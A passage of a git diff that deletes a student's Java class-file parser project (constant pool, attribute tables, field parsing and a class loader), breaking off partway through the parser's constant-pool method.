-			else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
-				LocalVariableTable t = LocalVariableTable.parse(iter);
-				codeAttr.setLocalVariableTable(t);
-			} 
-			else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
-				StackMapTable t = StackMapTable.parse(iter);
-				codeAttr.setStackMapTable(t);
-			}
-			else{
-				throw new RuntimeException("Need code to process " + subAttrName);
-			}
-			
-			
-		}
-		
-		return codeAttr;
-	}
-	
-
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Code:").append(code).append("\n");
-		/*for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}*/
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LineNumberTable.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index e3189959d7..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		
-		LineNumberTable table = new LineNumberTable(index,len);
-		
-		int itemLen = iter.nextU2ToInt();
-		
-		for(int i=1; i<=itemLen; i++){
-			LineNumberItem item = new LineNumberItem();
-			item.setStartPC(iter.nextU2ToInt());
-			item.setLineNum(iter.nextU2ToInt());
-			table.addLineNumberItem(item);
-		}
-		return table;
-	}
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
-	
-	
-
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableItem.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableTable.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 88f677b2c8..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		
-		LocalVariableTable table = new LocalVariableTable(index,len);
-		
-		int itemLen = iter.nextU2ToInt();
-		
-		for(int i=1; i<=itemLen; i++){
-			LocalVariableItem item = new LocalVariableItem();
-			item.setStartPC(iter.nextU2ToInt());
-			item.setLength(iter.nextU2ToInt());
-			item.setNameIndex(iter.nextU2ToInt());
-			item.setDescIndex(iter.nextU2ToInt());
-			item.setIndex(iter.nextU2ToInt());
-			table.addLocalVariableItem(item);
-		}
-		return table;
-	}
-	
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/StackMapTable.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/clz/AccessFlag.java b/group17/102228177/work4_16/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassFile.java b/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index 4755266987..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,92 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassIndex.java b/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ClassInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index af1e6bc65f..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,33 +0,0 @@
-package com.coderising.jvm.constant;
-
-/**
-
- * @Description 类常量信息
-
- * @author REEFE
-
- * @time 2017年4月9日
-
- */
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 855b581f95..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package com.coderising.jvm.constant;
-
-/**
-
- * @Description 常见常量项
-
- * @author REEFE
-
- * @time 2017年4月9日
-
- */
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantPool.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index d4f91262b8..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-/**
-
- * @Description:常量池
-
- * @author:REEFE
-
- * @time:2017年4月9日 
-
- */
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public Object getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/FieldRefInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 65475e194c..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/MethodRefInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 7f05870020..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-	
-	
-	
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 402f9dec86..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/NullConstantInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 936736016f..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/StringInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index f1f8eb4ed4..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/constant/UTF8Info.java b/group17/102228177/work4_16/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 5cac9f04f7..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	
-	
-
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/field/Field.java b/group17/102228177/work4_16/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index 7bc2656653..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public String toString() {
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		return name +":"+ desc;
-	}
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-		
-		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
-		
-		if(attribCount > 0){
-			throw new RuntimeException("Field Attribute has not been implemented");
-		}
-		
-		return f;
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 2eb83f3983..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public class ByteCodeIterator {
-	byte[] codes;
-	int pos = 0;
-	ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-	
-	public void back(int n) {
-		this.pos -= n;
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 81264ceed7..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,137 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	/*private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}*/
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	/*public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-*/
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-
-
-	
-
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileParser.java b/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index a831d226d7..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,143 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-		ClassFile classFile = new ClassFile();
-		ByteCodeIterator iter = new ByteCodeIterator(codes);
-		String magicNumber = iter.nextU4ToHexString();
-		if(!magicNumber.equals("cafebabe")){
-			return null;
-		}
-		classFile.setMinorVersion(iter.nextU2ToInt());
-		classFile.setMajorVersion(iter.nextU2ToInt());
-		
-		ConstantPool pool = parseConstantPool(iter);
-		classFile.setConstPool(pool);
-		
-		AccessFlag accessFlag = parseAccessFlag(iter);
-		classFile.setAccessFlag(accessFlag);
-		
-		ClassIndex classIndex = parseClassIndex(iter);
-		classFile.setClassIndex(classIndex);
-		
-		parseInterfaces(iter);
-		parseFileds(classFile, iter);
-		parseMethods(classFile, iter);
-		return classFile;
-	}
-	
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-		int value = iter.nextU2ToInt();
-		AccessFlag accessFlag = new AccessFlag(value);
-		accessFlag.setFlagValue(value);
-		return accessFlag;
-	}
-
-	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
-		int thisClassIndex = iter.nextU2ToInt();
-		int superClassIndex = iter.nextU2ToInt();
-		ClassIndex classIndex = new ClassIndex();
-		classIndex.setThisClassIndex(thisClassIndex);
-		classIndex.setSuperClassIndex(superClassIndex);
-		return classIndex;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		int constantPoolCount = iter.nextU2ToInt();
-		ConstantPool pool = new ConstantPool();
